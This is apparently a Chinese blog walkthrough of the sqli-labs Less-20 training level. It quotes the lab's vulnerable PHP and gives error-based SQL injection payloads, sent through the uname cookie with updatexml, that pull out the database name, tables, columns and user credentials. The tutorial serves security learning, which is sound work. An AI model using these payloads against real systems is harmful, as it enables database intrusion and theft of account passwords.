sqli-labs:Less-20关卡详细解析

1. 思路🚀

本关的SQL语句为:

sql 复制代码
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、GET操作
  • 提示:参数需以'闭合
  • 关键参数:cookee

php输出语句的部分代码:

php 复制代码
if(!isset($_POST['submit']))
{	
	$cookee = $_COOKIE['uname'];
	$format = 'D d M Y - H:i:s';
	$timestamp = time() + 3600;
	echo "<center>";
	echo '<br><br><br>';
	echo '<img src="../images/Less-20.jpg" />';
	echo "<br><br><b>";
	echo '<br><font color= "red" font size="4">';	
	echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
	echo "</font><br>";	
	echo '<font color= "cyan" font size="4">';	
	echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			
	echo "</font><br>";			
	echo '<font color= "#FFFF00" font size = 4 >';
	echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
	echo '<font color= "orange" font size = 5 >';			
	echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
	......
}

本关卡的关键回显语句是echo "YOUR COOKIE : uname = $cookee...,需通过正确的账号密码后才会正确回显信息,并且已知正确的账号和密码,暂且每次提交的账号密码都是admin,根据提示配合报错盲注。


2. 手工注入步骤🎯

2.1. 获悉Cookie格式⚡

下图是使用Burpsuite的Repeater抓取数据包得到的带有Cookie的请求格式,需要注意的是会有2个请求,先是POST请求,再是GET请求,只有GET请求中才携带Cookie。

既然知道了格式,下面用HackBar操作,接下来的过程只需要将下面的Cookies放入对应位置,粘贴即可。


2.2. 获取基本信息⚡

接下来配合updatexml函数实现报错盲注:

url 复制代码
uname=1' and updatexml(1,concat(1,(select database())),3) #

2.3. 获取表名⚡

url 复制代码
uname=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #

2.4. 获取字段⚡

url 复制代码
uname=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #

2.5. 获取数据⚡

下面是获取一个用户的sql语句,修改limit偏移量可获取其余用户的账号密码信息。

url 复制代码
uname=1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) #

2.6. 参数汇总表⭐

参数 作用 示例
' 闭合符号 id=1'
# 注释符 #'
updatexml() 报错注入函数 updatexml(1,(select database()),3)
concat() 字符串拼接函数 concat('a','b') 或 concat(1,(select database()))
information_schema 系统数据库 from information_schema.tables
table_schema 数据库名称 table_schema='security'
table_name 数据表名称 table_name='users'
column_name 字段名称 group_concat(column_name)

3. 总结🏁

HTTP Cookie(通常简称 Cookie)是 ​​服务器发送到用户浏览器并保存在本地的一小段数据​​。浏览器会在后续的 HTTP 请求中自动携带该 Cookie,以便服务器识别用户身份或存储用户偏好。

本关卡在http请求头中的Cookie做文章,为了达到sql注入的效果,需同时配合报错盲注获取数据。复杂点的Cookie注入见文章"sqli-labs:Less-21关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149865370?spm=1011.2415.3001.5331

有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
承渊政道10 小时前
Linux网络学习【深入理解应用层HTTP协议、Cookie与Session机制及HTTPS协议原理】
linux·网络·学习·http·cookie·session
xiancai_xianyu3 天前
Text2SQL落地生产库前,SQL要过哪三道闸
前端·数据库·sql·sql注入·text2sql·ai agent开发·企业级ai框架
三84411 天前
sql注入
web安全·sql注入
hengdonghui13 天前
Writeup 4 N1BOOK SQL注入-1
ctf·sql注入·union·字符型注入
AIgorithmGEEK15 天前
[Linux]HTTP 应用层协议全解(下篇)
linux·网络·网络协议·http·cookie·无连接·无状态
在猴站学算法16 天前
(SQL注入学习)无回显的报错注入(Error-Based)
学习·网络安全·sql注入·ctf竞赛
白帽攻防录18 天前
SRC 挖洞:Roundcube 预认证 SQL 注入深度复盘,CVE-2026-48842 preg_replace 转义绕过怎么打穿邮件系统
网络·数据库·sql·网络安全·sql注入
cpolar技术支持1 个月前
本地登录正常,公网却掉线?Express Session 经 cpolar HTTPS 访问的 Cookie 排障实战
node.js·express·cpolar·cookie·session
DsirNg1 个月前
登录后的那一个小时:把前端会话续期做成可收敛的控制面
xss·csrf·token·cookie·refresh token·前端安全·登录态
2601_962381582 个月前
【转】Python渗透测试工具:sqlmap
python·渗透测试·sql注入·sqlmap·数据库安全